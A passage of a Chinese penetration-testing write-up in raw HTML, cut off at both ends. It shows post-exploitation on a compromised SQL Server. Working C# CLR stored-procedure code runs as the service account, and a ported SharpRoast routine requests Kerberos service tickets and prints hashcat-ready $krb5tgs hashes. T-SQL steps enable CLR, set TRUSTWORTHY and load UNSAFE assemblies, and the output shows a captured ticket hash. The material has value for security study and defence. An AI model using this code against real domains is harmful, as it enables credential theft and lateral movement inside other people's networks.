5px;">using System;<br/>using System.Data;<br/>using System.Data.SqlClient;<br/>using System.Data.SqlTypes;<br/>using System.Diagnostics;<br/>using System.Text;<br/>using System.IO;<br/>using System.Security.Principal;<br/>using Microsoft.SqlServer.Server;<br/>public partial class StoredProcedures<br/>{<br/>    [Microsoft.SqlServer.Server.SqlProcedure]<br/>    public static void ExecCommand (string cmd)<br/>    {<br/>        SqlContext.Pipe.Send(<span style="color: #a6e22e;line-height: 26px;">&#34;Command is running, please wait.&#34;</span>);<br/>        SqlContext.Pipe.Send(RunCommand(<span style="color: #a6e22e;line-height: 26px;">&#34;cmd.exe&#34;</span>, <span style="color: #a6e22e;line-height: 26px;">&#34; /c &#34;</span> + cmd));<br/>    }<br/>    public static string RunCommand(string filename,string arguments)<br/>    {<br/>       File.WriteAllText(@<span style="color: #a6e22e;line-height: 26px;">&#34;c:\windows\temp\log.txt&#34;</span>,WindowsIdentity.GetCurrent().Name);<br/>       <span style="color: #a6e22e;line-height: 26px;">return</span> <span style="color: #a6e22e;line-height: 26px;">&#34;ok&#34;</span>;<br/>    }<br/>}<br/></code></pre></section><section data-v-b4e935ba=""><br/><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">读取文件：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">create table cmd (a text);<br/>BULK INSERT cmd FROM <span style="color: #a6e22e;line-height: 26px;">&#39;c:\windows\temp\log.txt&#39;</span> WITH (FIELDTERMINATOR = <span style="color: #a6e22e;line-height: 26px;">&#39;n&#39;</span>,ROWTERMINATOR = <span style="color: #a6e22e;line-height: 26px;">&#39;nn&#39;</span>);<br/>select * from cmd;<br/>drop table cmd;<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">可行，这就转换成如何在只能执行代码的情况下进行下一步渗透的问题了。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.6016548463356974" title="null" data-type="png" data-w="846" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a3412cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0MTKpl07538CTc4BcIlKpHmRCc7WsWbxicotoqvLFXsiaXXdicSUNS70Tg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">当前账户为一个域账户且非本机管理员，但我们可以通过该账户身份去导出ldap信息，spn，gpo等域渗透信息。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">通过ldap信息我们发现该账户是一个普通域账户，没有任何组。</p></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">objectClass: top<br/>objectClass: person<br/>objectClass: organizationalPerson<br/>objectClass: user<br/>cn: sqlserver<br/>givenName: sql<br/>distinguishedName: CN=sqlserver,CN=Users,DC=<span style="color: #a6e22e;line-height: 26px;">test</span>,DC=<span style="color: #a6e22e;line-height: 26px;">local</span><br/>instanceType: 4<br/>whenCreated: 03/15/2023 13:24:17<br/>whenChanged: 03/15/2023 13:31:30<br/>displayName: sql<br/>uSNCreated: 13051<br/>uSNChanged: 13076<br/>name: sqlserver<br/>objectGUID: {8505454D-ED0C-4949-8FD6-89A680ADB50F}<br/>userAccountControl: 66048<br/>badPwdCount: 0<br/>codePage: 0<br/>countryCode: 0<br/>badPasswordTime: 133240643712543584<br/>lastLogoff: 0<br/>lastLogon: 133241392715435147<br/>pwdLastSet: 133233605833788381<br/>primaryGroupID: 513<br/>objectSid: S-1-5-21-2687445417-3310065553-3308869922-1115<br/>accountExpires: 9223372036854775807<br/>logonCount: 40<br/>sAMAccountName: sqlserver<br/>sAMAccountType: 805306368<br/>managedObjects: CN=SQL01,CN=Computers,DC=<span style="color: #a6e22e;line-height: 26px;">test</span>,DC=<span style="color: #a6e22e;line-height: 26px;">local</span><br/>objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=<span style="color: #a6e22e;line-height: 26px;">test</span>,DC=<span style="color: #a6e22e;line-height: 26px;">local</span><br/>dSCorePropagationData: 03/15/2023 13:24:17<br/>dSCorePropagationData: 01/01/1601 00:00:00<br/>lastLogonTimestamp: 133233606909502313<br/>ADsPath: LDAP://dc01.test.local/CN=sqlserver,CN=Users,DC=<span style="color: #a6e22e;line-height: 26px;">test</span>,DC=<span style="color: #a6e22e;line-height: 26px;">local</span><br/>objectClass: top<br/>objectClass: leaf<br/>objectClass: secret<br/>cn: BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret<br/>distinguishedName: CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret,CN=System,DC=<span style="color: #a6e22e;line-height: 26px;">test</span>,DC=<span style="color: #a6e22e;line-height: 26px;">local</span><br/>instanceType: 4<br/>whenCreated: 03/15/2023 13:31:31<br/>whenChanged: 03/15/2023 13:31:31<br/>uSNCreated: 13077<br/>uSNChanged: 13079<br/>showInAdvancedViewOnly: TRUE<br/>name: BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret<br/>objectGUID: {1D695EE2-EBCB-46B2-957A-B9B14729B3CE}<br/>lastSetTime: 133233606916101649<br/>priorSetTime: 133233606916101649<br/>objectCategory: CN=Secret,CN=Schema,CN=Configuration,DC=<span style="color: #a6e22e;line-height: 26px;">test</span>,DC=<span style="color: #a6e22e;line-height: 26px;">local</span><br/>isCriticalSystemObject: TRUE<br/>dSCorePropagationData: 01/01/1601 00:00:00<br/>ADsPath: LDAP://dc01.test.local/CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret,CN=System,DC=<span style="color: #a6e22e;line-height: 26px;">test</span>,DC=<span style="color: #a6e22e;line-height: 26px;">local</span><br/></code></pre></section><section data-v-b4e935ba=""><br/><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">暂时没有可以利用的点，接着选择导出spn及票据，主要代码源自<a href="https://github.com/GhostPack/SharpRoast：" target="_blank">https://github.com/GhostPack/SharpRoast：</a></p></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">using System;<br/>using System.Data;<br/>using System.Data.SqlClient;<br/>using System.Data.SqlTypes;<br/>using System.Diagnostics;<br/>using System.Text;<br/>using System.IO;<br/>using System.Security.Principal;<br/>using Microsoft.SqlServer.Server;<br/>using System.Text.RegularExpressions;<br/>using System.DirectoryServices;<br/>using System.DirectoryServices.AccountManagement;<br/>public partial class StoredProcedures<br/>{<br/>    [Microsoft.SqlServer.Server.SqlProcedure]<br/>    public static void ExecCommand (string cmd)<br/>    {<br/>        DirectoryEntry directoryObject = null;<br/>        DirectorySearcher userSearcher = null;<br/>        System.Net.NetworkCredential cred = null;<br/>        directoryObject = new DirectoryEntry();<br/>        userSearcher = new DirectorySearcher(directoryObject);<br/>        userSearcher.Filter = <span style="color: #a6e22e;line-height: 26px;">&#34;(&amp;(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))&#34;</span>;<br/>        SearchResultCollection users = userSearcher.FindAll();<br/>            <br/>        foreach (SearchResult user <span style="color: #f92672;font-weight: bold;line-height: 26px;">in</span> users)<br/>        {<br/>            string samAccountName = user.Properties[<span style="color: #a6e22e;line-height: 26px;">&#34;samAccountName&#34;</span>][0].ToString();<br/>            string distinguishedName = user.Properties[<span style="color: #a6e22e;line-height: 26px;">&#34;distinguishedName&#34;</span>][0].ToString();<br/>            string spn = user.Properties[<span style="color: #a6e22e;line-height: 26px;">&#34;servicePrincipalName&#34;</span>][0].ToString();<br/>            SqlContext.Pipe.Send(string.Format(<span style="color: #a6e22e;line-height: 26px;">&#34;SamAccountName         : {0}&#34;</span>, samAccountName));<br/>            SqlContext.Pipe.Send(string.Format(<span style="color: #a6e22e;line-height: 26px;">&#34;DistinguishedName      : {0}&#34;</span>, distinguishedName));<br/>            SqlContext.Pipe.Send(string.Format(<span style="color: #a6e22e;line-height: 26px;">&#34;ServicePrincipalName   : {0}&#34;</span>, spn));<br/>            string domain = <span style="color: #a6e22e;line-height: 26px;">&#34;test.local&#34;</span>;<br/>            string userName=<span style="color: #a6e22e;line-height: 26px;">&#34;test&#34;</span>;<br/>            System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());<br/>            try<br/>            {<br/>                byte[] requestBytes = ticket.GetRequest();<br/>                string ticketHexStream = BitConverter.ToString(requestBytes).Replace(<span style="color: #a6e22e;line-height: 26px;">&#34;-&#34;</span>, <span style="color: #a6e22e;line-height: 26px;">&#34;&#34;</span>);<br/>                // janky regex to try to find the part of the service ticket we want<br/>                Match match = Regex.Match(ticketHexStream, @<span style="color: #a6e22e;line-height: 26px;">&#34;a382....3082....A0030201(?&lt;EtypeLen&gt;..)A1.{1,4}.......A282(?&lt;CipherTextLen&gt;....)........(?&lt;DataToEnd&gt;.+)&#34;</span>, RegexOptions.IgnoreCase);<br/>                <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (match.Success)<br/>                {<br/>                    // usually 23<br/>                    byte eType = Convert.ToByte(match.Groups[<span style="color: #a6e22e;line-height: 26px;">&#34;EtypeLen&#34;</span>].ToString(), 16);<br/>                    int cipherTextLen = Convert.ToInt32(match.Groups[<span style="color: #a6e22e;line-height: 26px;">&#34;CipherTextLen&#34;</span>].ToString(), 16) - 4;<br/>                    string dataToEnd = match.Groups[<span style="color: #a6e22e;line-height: 26px;">&#34;DataToEnd&#34;</span>].ToString();<br/>                    string cipherText = dataToEnd.Substring(0, cipherTextLen * 2);<br/>                    <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (match.Groups[<span style="color: #a6e22e;line-height: 26px;">&#34;DataToEnd&#34;</span>].ToString().Substring(cipherTextLen * 2, 4) != <span style="color: #a6e22e;line-height: 26px;">&#34;A482&#34;</span>)<br/>                    {<br/>                        SqlContext.Pipe.Send(string.Format(<span style="color: #a6e22e;line-height: 26px;">&#34; [X] Error parsing ciphertext for the SPN {0}. Use the TicketByteHexStream to extract the hash offline with Get-KerberoastHashFromAPReq.\r\n&#34;</span>, spn));<br/>                        bool header = <span style="color: #f92672;font-weight: bold;line-height: 26px;">false</span>;<br/>                        foreach (string line <span style="color: #f92672;font-weight: bold;line-height: 26px;">in</span> Split(ticketHexStream, 80))<br/>                        {<br/>                            <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (!header)<br/>                            {<br/>                                SqlContext.Pipe.Send(string.Format(<span style="color: #a6e22e;line-height: 26px;">&#34;TicketHexStream        : {0}&#34;</span>, line));<br/>                            }<br/>                            <span style="color: #f92672;font-weight: bold;line-height: 26px;">else</span><br/>                            {<br/>                                SqlContext.Pipe.Send(string.Format(<span style="color: #a6e22e;line-height: 26px;">&#34;                         {0}&#34;</span>, line));<br/>                            }<br/>                            header = <span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>;<br/>                        }<br/>                    }<br/>                    <span style="color: #f92672;font-weight: bold;line-height: 26px;">else</span><br/>                    {<br/>                        // output to hashcat format<br/>                        string <span style="color: #a6e22e;line-height: 26px;">hash</span> = String.Format(<span style="color: #a6e22e;line-height: 26px;">&#34;<span style="color: #a6e22e;line-height: 26px;">$krb5tgs</span><span style="color: #a6e22e;line-height: 26px;">${0}</span>$*{1}<span style="color: #a6e22e;line-height: 26px;">${2}</span><span style="color: #a6e22e;line-height: 26px;">${3}</span>*<span style="color: #a6e22e;line-height: 26px;">${4}</span><span style="color: #a6e22e;line-height: 26px;">${5}</span>&#34;</span>, eType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32));<br/>                        bool header = <span style="color: #f92672;font-weight: bold;line-height: 26px;">false</span>;<br/>                        foreach (string line <span style="color: #f92672;font-weight: bold;line-height: 26px;">in</span> Split(<span style="color: #a6e22e;line-height: 26px;">hash</span>, 80))<br/>                        {<br/>                            <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (!header)<br/>                            {<br/>                                SqlContext.Pipe.Send(string.Format(<span style="color: #a6e22e;line-height: 26px;">&#34;Hash                   : {0}&#34;</span>, line));<br/>                            }<br/>                            <span style="color: #f92672;font-weight: bold;line-height: 26px;">else</span><br/>                            {<br/>                                SqlContext.Pipe.Send(string.Format(<span style="color: #a6e22e;line-height: 26px;">&#34;                         {0}&#34;</span>, line));<br/>                            }<br/>                            header = <span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>;<br/>                        }<br/>                    }<br/>                }<br/>            }<br/>            catch (Exception ex)<br/>            {<br/>                SqlContext.Pipe.Send(string.Format(<span style="color: #a6e22e;line-height: 26px;">&#34;\r\n [X] Error during request for SPN {0} : {1}\r\n&#34;</span>, spn, ex.InnerException.Message));<br/>            }<br/>        }<br/>    }<br/>    public static System.Collections.Generic.IEnumerable&lt;string&gt; Split(string text, int partLength)<br/>        {<br/>            <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (text == null) { throw new ArgumentNullException(<span style="color: #a6e22e;line-height: 26px;">&#34;singleLineString&#34;</span>); }<br/>            <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (partLength &lt; 1) { throw new ArgumentException(<span style="color: #a6e22e;line-height: 26px;">&#34;&#39;columns&#39; must be greater than 0.&#34;</span>); }<br/>            double partCount = Math.Ceiling((double)text.Length / partLength);<br/>            <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (partCount &lt; 2)<br/>            {<br/>                yield <span style="color: #a6e22e;line-height: 26px;">return</span> text;<br/>            }<br/>            <span style="color: #f92672;font-weight: bold;line-height: 26px;">for</span> (int i = 0; i &lt; partCount; i++)<br/>            {<br/>                int index = i * partLength;<br/>                int lengthLeft = Math.Min(partLength, text.Length - index);<br/>                string line = text.Substring(index, lengthLeft);<br/>                yield <span style="color: #a6e22e;line-height: 26px;">return</span> line;<br/>            }<br/>        }<br/>}<br/></code></pre></section><section data-v-b4e935ba=""><br/><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">装载几个依赖：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">CREATE ASSEMBLY [system.directoryservices]<br/>    FROM <span style="color: #a6e22e;line-height: 26px;">&#39;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.directoryservices.dll&#39;</span><br/>    WITH PERMISSION_SET = UNSAFE;<br/>GO<br/>CREATE ASSEMBLY [system.identitymodel]<br/>    FROM <span style="color: #a6e22e;line-height: 26px;">&#39;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.identitymodel.dll&#39;</span><br/>    WITH PERMISSION_SET = UNSAFE;<br/>GO<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">编译：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;"><span style="color: #a6e22e;line-height: 26px;">&#34;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe&#34;</span> /t:library /r:<span style="color: #a6e22e;line-height: 26px;">&#34;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.DirectoryServices.AccountManagement.dll&#34;</span> /r:<span style="color: #a6e22e;line-height: 26px;">&#34;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IdentityModel.dll&#34;</span> roasting.cs<br/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">执行：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">sp_configure <span style="color: #a6e22e;line-height: 26px;">&#39;clr enabled&#39;</span>, 1<br/>GO<br/>RECONFIGURE<br/>GO<br/>ALTER DATABASE <span style="color: #a6e22e;line-height: 26px;">test</span> SET TRUSTWORTHY ON;<br/>GO<br/>CREATE ASSEMBLY [spn]<br/>    AUTHORIZATION [dbo]<br/>    FROM [0xbin of dll]<br/>    WITH PERMISSION_SET = UNSAFE;<br/>GO<br/>CREATE PROCEDURE [dbo].[roast]<br/>@cmd NVARCHAR (MAX)<br/>AS EXTERNAL NAME [spn].[StoredProcedures].[ExecCommand]<br/>go<br/><span style="color: #a6e22e;line-height: 26px;">exec</span> roast <span style="color: #a6e22e;line-height: 26px;">&#34;whoami&#34;</span><br/>drop procedure roast<br/>drop assembly [spn]<br/></code></pre></section><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;"></code><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.8011111111111111" title="null" data-type="png" data-w="900" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e23877bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic0k2HXemH9LFnVBBQ2tkN30QwMEVoRRuCVTULvJCe7Mfdon6xgjoDEEg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">整理后获得spn及票据:</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: #595959;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(39, 40, 34) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgfeIwFicN3L8DrLau53PLPMCicVrfE50uRziaPp4tJqej5YyP6xibkKMggpWZmjLT3T0RlzHLmKTTPro/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0<br/>SamAccountName         : roast<br/>Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0<br/>DistinguishedName      : CN=roast,CN=Users,DC=<span style="color: #a6e22e;line-height: 26px;">test</span>,DC=<span style="color: #a6e22e;line-height: 26px;">local</span><br/>Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0<br/>ServicePrincipalName   : mssql/sql02.test.local<br/>Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0<br/><span style="color: #a6e22e;line-height: 26px;">$krb5tgs</span><span style="color: #a6e22e;line-height: 26px;">$23</span>$*<span style="color: #a6e22e;line-height: 26px;">test</span><span style="color: #a6e22e;line-height: 26px;">$test</span>.<span style="color: #a6e22e;line-height: 26px;">local</span><span style="color: #a6e22e;line-height: 26px;">$mssql</span>/sql02.test.local*<span style="color: #a6e22e;line-height: 26px;">$5F92C1AA1A523402150EB70C529CA5FA</span><span style="color: #a6e22e;line-height: 